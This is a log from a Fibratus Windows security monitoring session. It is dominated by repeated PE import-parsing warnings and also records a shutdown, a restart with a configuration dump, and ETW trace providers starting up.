level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:26:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:26:49+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:26:50+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:26:51+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:27:04+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:27:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:27:04+01:00 level=info msg=bootstrapping with pid 18676. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:27:04+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>false] mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>true quiet-mode=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + kstream ........................ [ stack-enrichment=>true enable-net=>true enable-dns=>true flush-interval=>1s max-buffers=>36 enable-registry=>true enable-fileio=>true enable-mem=>true enable-image=>true enable-vamap=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[]] enable-handle=>false min-buffers=>16 enable-thread=>true buffer-size=>512] + logging ........................ [ formatter=>text max-backups=>15 level=>info log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ elasticsearch=>[ template-name=>fibratus gzip-compression=>false sniff=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s flush-period=>1s timeout=>5s enabled=>false index-name=>fibratus healthcheck-timeout=>5s trace-log=>false] amqp=>[ routing-key=>fibratus exchange-type=>topic timeout=>5s durable=>false passive=>false delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false exchange=>fibratus url=>amqp://localhost:5672 vhost=>/] eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false method=>POST tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json timeout=>5s endpoints=>[]] console=>[ format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true]] + pe ............................. [ excluded-images=>[] read-sections=>false enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false skip-files=>true fastscan=>true scan-timeout=>10s alert-via=>mail alert-template=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:27:04+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:27:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:27:06+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:27:06+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:27:06+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: 